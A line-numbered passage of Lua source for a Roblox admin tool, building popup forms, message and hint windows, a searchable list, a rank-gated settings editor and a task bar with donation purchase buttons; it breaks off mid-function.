  3733. Title.Size = UDim2.new(1, -95, 0, 25)
  3734. end
  3735.  
  3736. if not ShowFormButtons then
  3737. X:Destroy()
  3738. TitleEnd:Destroy()
  3739. Title.Size = UDim2.new(1, -55, 0, 25)
  3740. end
  3741.  
  3742. local function CloseForm()
  3743. if IsClosed == false then
  3744. IsActive.Value = false
  3745. IsClosed = true
  3746. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
  3747. Closed:Fire()
  3748. SOUND:PlayNotification(Player, 206375138)
  3749. end
  3750. end
  3751.  
  3752. local function MinimizeForm()
  3753. if IsActive.Value == true then
  3754. IsActive.Value = false
  3755. Minimized:Fire()
  3756. MinimizePos = Dragger.Position
  3757. ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
  3758. end
  3759. end
  3760.  
  3761. local function RestoreForm()
  3762. if IsActive.Value == false then
  3763. IsActive.Value = true
  3764. Restored:Fire()
  3765. ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
  3766. end
  3767. end
  3768.  
  3769. if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
  3770. if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
  3771.  
  3772. Close.OnInvoke = CloseForm
  3773. Minimize.OnInvoke = MinimizeForm
  3774. Restore.OnInvoke = RestoreForm
  3775.  
  3776. if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
  3777.  
  3778. if TaskBar then
  3779. TaskBar:WaitForChild("AddForm")
  3780. TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
  3781. end
  3782.  
  3783. return Content, Close, Closed, Minimize, Minimized, Restore, Restored
  3784. end
  3785.  
  3786. function GUI:CoreGui(Player, Type, Enable)
  3787. local Parent = Player:FindFirstChild("Backpack")
  3788. if not Parent then Parent = Player.Backpack end
  3789. CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
  3790. end
  3791.  
  3792. function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
  3793. if not Player or not Player:IsA("Player") then return nil end
  3794. if BodyText == "" then return nil end
  3795. if not Player:FindFirstChild("PlayerGui") then return nil end
  3796.  
  3797. local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
  3798. local TextColor = GUI:GetColor(MessageSplit[1])
  3799. if TextColor then BodyText = MessageSplit[2] end
  3800. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  3801.  
  3802. local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
  3803. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
  3804.  
  3805. if Frame then
  3806. local FormBar = Frame.Parent.Parent.FormBar
  3807. local Said = false
  3808. local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
  3809. if Settings.EnableTaskBar then
  3810. FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
  3811. FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
  3812. else
  3813. Speak.Position = UDim2.new(1, -58, 0, 5)
  3814. FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
  3815. FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
  3816. end
  3817. CORE:HandleEvent(Speak, "MouseButton1Down", function()
  3818. if not Said then
  3819. Said = true
  3820. SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
  3821. end
  3822. end)
  3823.  
  3824. if TextColor then
  3825. Body.TextColor3 = TextColor
  3826. else
  3827. Body.TextColor3 = Color3.new(1,1,1)
  3828. end
  3829.  
  3830. if tonumber(Time) then coroutine.wrap(function()
  3831. if AutoTime then
  3832. Time = Time + math.floor(#BodyText/7)
  3833. end
  3834. local Alive = true
  3835.  
  3836. local function StopTimer() Alive = false end
  3837. Closed.Event:connect(StopTimer)
  3838. Minimized.Event:connect(StopTimer)
  3839.  
  3840. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  3841. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  3842. local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
  3843. local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
  3844. CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
  3845. for i = Time,0,-1 do
  3846. for ii = 1,10 do
  3847. if Alive == true then
  3848. Ticker.Text = i
  3849. wait(0.1)
  3850. else
  3851. break
  3852. end
  3853. end
  3854. end
  3855. if Alive == true then
  3856. Close:Invoke()
  3857. else
  3858. Ticker:Destroy()
  3859. Stop:Destroy()
  3860. Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
  3861. Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
  3862. end
  3863. end)() end
  3864.  
  3865. CORE:ExecuteResource("CalculateScrollY", Body)
  3866. end
  3867. end
  3868.  
  3869. function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
  3870. if not Player then return nil end
  3871. if not Player:IsA("Player") then return nil end
  3872. if BodyText == "" then return nil end
  3873. if not Player:FindFirstChild("PlayerGui") then return nil end
  3874. BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
  3875. local TextColor = GUI:ContrastColor()
  3876. if Error then TextColor = Color3.new(1,0,0) end
  3877.  
  3878. local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
  3879. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
  3880.  
  3881. CORE:ExecuteResource("CalculateScrollY", Body)
  3882.  
  3883. return Frame, Close, Closed
  3884. end
  3885.  
  3886. function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
  3887. Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
  3888. if not Time then Time = 5 end
  3889. local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
  3890. local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,0,-80) Frame.Size = UDim2.new(1,0,0,30) Frame.BackgroundColor3 = GUI:GetColor() Frame.BackgroundTransparency = Settings.TransparencyScheme
  3891. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = GUI:ContrastColor()
  3892. for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
  3893. SG.Parent = Player.PlayerGui
  3894. Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
  3895. wait(0.8)
  3896. TypeAction = Server.RS.Stepped:connect(function()
  3897. Num = Num + 1
  3898. Body.Text = string.sub(Text,1,Num)
  3899. if Num == #Text then
  3900. TypeAction:disconnect()
  3901. end
  3902. end)
  3903. wait(Time)
  3904. if Frame and Frame.Parent then
  3905. Frame:TweenPosition(UDim2.new(0,0,0,-80), "Out", "Quint", 0.7, true, function() SG:Destroy() end)
  3906. end
  3907. end)() end
  3908.  
  3909. function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
  3910. if not Player then return nil end
  3911. if not Player:FindFirstChild("PlayerGui") then return nil end
  3912. if not PreSearch then PreSearch = "" end
  3913. if AutoNumber == nil then AutoNumber = true end
  3914.  
  3915. local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
  3916. local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
  3917. SearchBar.Parent = Frame.Parent
  3918. Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
  3919. Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
  3920.  
  3921. local SearchVer = 0,nil
  3922. local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
  3923.  
  3924. local function ShowResults(Key)
  3925. SearchVer = SearchVer + 1
  3926. local ThisSearchVer = SearchVer
  3927.  
  3928. if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
  3929. for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
  3930.  
  3931. local NumPos,Num = 0,1
  3932.  
  3933. for _,Data in pairs(List) do
  3934. if ThisSearchVer ~= SearchVer then
  3935. break
  3936. end
  3937. local String = STRING:Defilter(tostring(Data))
  3938. if String then
  3939. local ImageIcon = nil
  3940. if type(Data) == "table" then
  3941. String = Data[1]
  3942. ImageIcon = Data[2]
  3943. end
  3944.  
  3945. local TextColor = GUI:ContrastColor()
  3946. local StringSplit = STRING:GetSplit(String, 1, " ")
  3947. local NewColor = GUI:GetColor(StringSplit[1])
  3948. if NewColor then TextColor = NewColor String = StringSplit[2] end
  3949.  
  3950. if string.find(string.lower(String), string.lower(Key)) then
  3951. Spacer = false
  3952. local Font = Settings.Font
  3953. local Split = STRING:GetSplit(String, 1, " ")
  3954. if string.sub(string.lower(String),1,6) == "bold: " then
  3955. Font = "ArialBold"
  3956. String = string.sub(String,7)
  3957. elseif Fonts[Split[1]] then
  3958. Font = Split[1]
  3959. String = Split[2]
  3960. end
  3961. if string.sub(String,1,2) == "--" then
  3962. Spacer = true
  3963. end
  3964. local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
  3965. if ImageIcon then
  3966. if tonumber(ImageIcon) then
  3967. ImageIcon = "rbxassetid://"..ImageIcon
  3968. elseif Icons[ImageIcon] then
  3969. ImageIcon = "rbxassetid://"..Icons[ImageIcon]
  3970. end
  3971.  
  3972. Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
  3973. local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
  3974. local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
  3975. Content.Text = ""
  3976. NumPos = NumPos + 90
  3977. else
  3978. NumPos = NumPos + 30
  3979. end
  3980.  
  3981. if not Clickable then
  3982. Content.AutoButtonColor = false
  3983. Content.Active = false
  3984. Content.BackgroundTransparency = 1
  3985. elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
  3986. SOUND:BindButton(Content)
  3987. CORE:HandleEvent(Content, "MouseButton1Down", function() Clicked:Fire(String) end, true)
  3988. end
  3989. if Spacer == false then Num = Num + 1 end
  3990. end
  3991. end
  3992. end
  3993. Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
  3994. ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
  3995. end
  3996.  
  3997. ShowResults(PreSearch)
  3998.  
  3999. local RPR = CORE:CreateRemotePropertyReader(SearchBar)
  4000. CORE:HandleEvent(SearchBar, "Changed", function(Prop)
  4001. if Prop == "Text" then
  4002. local Text = CORE:ReadProperty(RPR, Player, "Text")
  4003. ShowResults(Text)
  4004. Frame.CanvasPosition = Vector2.new(0,0)
  4005. end
  4006. end)
  4007.  
  4008. return Clicked, Close
  4009. end
  4010.  
  4011. function GUI:PropertyGui(Player, Title, Icon, Properties)
  4012. if not Player then return nil end
  4013. if not Player:FindFirstChild("PlayerGui") then return nil end
  4014. if type(Properties) ~= "table" then return nil end
  4015. local HasClosed = false
  4016. local NewProperties = {}
  4017.  
  4018. local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
  4019. Frame.ClipsDescendants = true
  4020. local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
  4021.  
  4022. for PropertyName,Data in pairs(Properties) do
  4023. NewProperties[PropertyName] = Data[1]
  4024. end
  4025.  
  4026. local YCount = 0
  4027.  
  4028. for PropertyName,Data in pairs(Properties) do
  4029. if type(Data) == "table" then
  4030. local DefaultValue = Data[1]
  4031. local Writable = Data[2]
  4032. local ValueType = Data[3]
  4033.  
  4034. if Writable == nil then Writable = false end
  4035. if type(ValueType) == "string" then -- now this is confusing
  4036. ValueType = string.lower(ValueType)
  4037. elseif ValueType == nil then
  4038. ValueType = type(DefaultValue)
  4039. end
  4040.  
  4041. if ValueType == "nil" or ValueType == "userdata" then
  4042. ValueType = nil
  4043. elseif ValueType == "table" then
  4044. DefaultValue = STRING:UnpackArgs(DefaultValue)
  4045. ValueType = "string"
  4046. end
  4047.  
  4048. if ValueType then
  4049. local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
  4050. local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
  4051. local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
  4052.  
  4053. if ValueType == "string" or ValueType == "number" then
  4054. if Writable == true then
  4055. local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
  4056. CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
  4057. if ValueType == "number" then
  4058. NewProperties[PropertyName] = tonumber(Input.Text)
  4059. else
  4060. NewProperties[PropertyName] = tostring(Input.Text)
  4061. end
  4062. end end)
  4063. else
  4064. local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
  4065. end
  4066. end
  4067. if ValueType == "boolean" then
  4068. local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
  4069. if DefaultValue == true then
  4070. Check.Image = "rbxassetid://48138491"
  4071. end
  4072. if Writable == true then
  4073. CORE:HandleEvent(Check, "MouseButton1Down", function()
  4074. local NewVal = not NewProperties[PropertyName]
  4075. NewProperties[PropertyName] = NewVal
  4076. if NewVal == true then
  4077. Check.Image = "rbxassetid://48138491"
  4078. else
  4079. Check.Image = "rbxassetid://48138474"
  4080. end
  4081. end)
  4082. else
  4083. Check.ImageTransparency = 0.5
  4084. end
  4085. end
  4086. YCount = YCount + 50
  4087. end
  4088. end
  4089. end
  4090.  
  4091. Frame.CanvasSize = UDim2.new(0,0,0,YCount)
  4092.  
  4093. Closed.Event:connect(function() HasClosed = true end)
  4094.  
  4095. repeat wait(0.1) until HasClosed
  4096. return NewProperties
  4097. end
  4098.  
  4099. function GUI:SettingsGui(Player)
  4100. if not Player then return nil end
  4101. local CloneViewSettings,CanChange = {},false
  4102.  
  4103. local ViewSettings = {
  4104. ["Version"] = {CORE.Version.Value, false, nil};
  4105. ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
  4106. ["Font"] = {Settings.Font, 3, "Font"};
  4107. ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
  4108. ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
  4109. ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
  4110. ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
  4111. ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
  4112. ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
  4113. ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
  4114. ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
  4115. ["Group ID"] = {Settings.GroupID, false, "GroupID"};
  4116. ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
  4117. ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
  4118. ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
  4119. ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
  4120. ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
  4121. ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
  4122. ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
  4123. ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
  4124. ["Bet"] = {Settings.Bet, 3, "Bet"};
  4125. }
  4126.  
  4127. local _,RankNum = RANK:GetRank(Player)
  4128. if RankNum >= 3 then
  4129. CanChange = true
  4130. end
  4131.  
  4132. for Prop,Data in pairs(ViewSettings) do
  4133. local Writable = false
  4134. if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
  4135. CloneViewSettings[Prop] = {Data[1], Writable}
  4136. end
  4137.  
  4138. local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
  4139. if CanChange then
  4140. for Prop,Data in pairs(ViewSettings) do
  4141. if Data[3] then
  4142. Settings[Data[3]] = NewSettings[Prop] -- wow haxy
  4143. end
  4144. end
  4145. CORE:FixSettings()
  4146. end
  4147. end
  4148.  
  4149. function GUI:MessageAdmins(TitleText, BodyText, Icon)
  4150. for _,Player in pairs(Server.Players:GetPlayers()) do
  4151. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4152. if PlayerAdmin then
  4153. GUI:SendMessage(Player, TitleText, BodyText, Icon)
  4154. end
  4155. end
  4156. end
  4157.  
  4158. function GUI:TellAdmin(Player)
  4159. if not Player then return end
  4160.  
  4161. local ValidAdmin,Rank = RANK:IsAdmin(Player)
  4162. if ValidAdmin == true then
  4163. GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
  4164. if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
  4165. local SoundID = 237866523
  4166. if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
  4167. local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
  4168. Sound:Play()
  4169. coroutine.wrap(function()
  4170. wait(4)
  4171. Sound:Stop()
  4172. Sound:Destroy()
  4173. end)()
  4174. end
  4175. end
  4176. end
  4177.  
  4178. function GUI:TellNotAdmin(Player)
  4179. if not Player then return end
  4180.  
  4181. GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
  4182. end
  4183.  
  4184. function GUI:CreateTaskBar(Player)
  4185. if not Player then return nil end
  4186. if Settings.EnableTaskBar == false then return nil end
  4187. Player:WaitForChild("PlayerGui")
  4188. local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
  4189. if SG then SG:Destroy() end
  4190. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
  4191. local IsMoving = false
  4192. local TaskBarShown = false
  4193. local Tasks = {}
  4194.  
  4195. local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
  4196. local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
  4197.  
  4198. local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
  4199. local Open,CloseForm = false,nil
  4200. if Settings.EnableAdminMenu then
  4201. local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
  4202. coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
  4203. if Open == false then
  4204. local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
  4205. Open,CloseForm = true,Close
  4206.  
  4207. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
  4208. local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  4209. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
  4210. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
  4211. local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  4212. local function DonateMoney(Type, Element)
  4213. local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  4214. local Get = Request[Type]
  4215. if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
  4216. Server.MPS:PromptPurchase(Player, Get[1], true)
  4217. elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
  4218. Server.MPS:PromptPurchase(Player, Get[2], true)
  4219. elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
  4220. Server.MPS:PromptPurchase(Player, Get[3], true)
  4221. else
  4222. Element.Text = "Cannot get request"
  4223. end
  4224. end
  4225. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
  4226. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
  4227. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
  4228. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
  4229. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
  4230. local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
  4231.  
  4232. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  4233.  
  4234. if Closed then
  4235. Closed.Event:connect(function()
  4236. Open = false
  4237. end)
  4238. end
  4239. else
  4240. CloseForm:Invoke()
  4241. end
  4242. end) end)()
  4243. if RANK:GetRank(Player) == "Owner" then
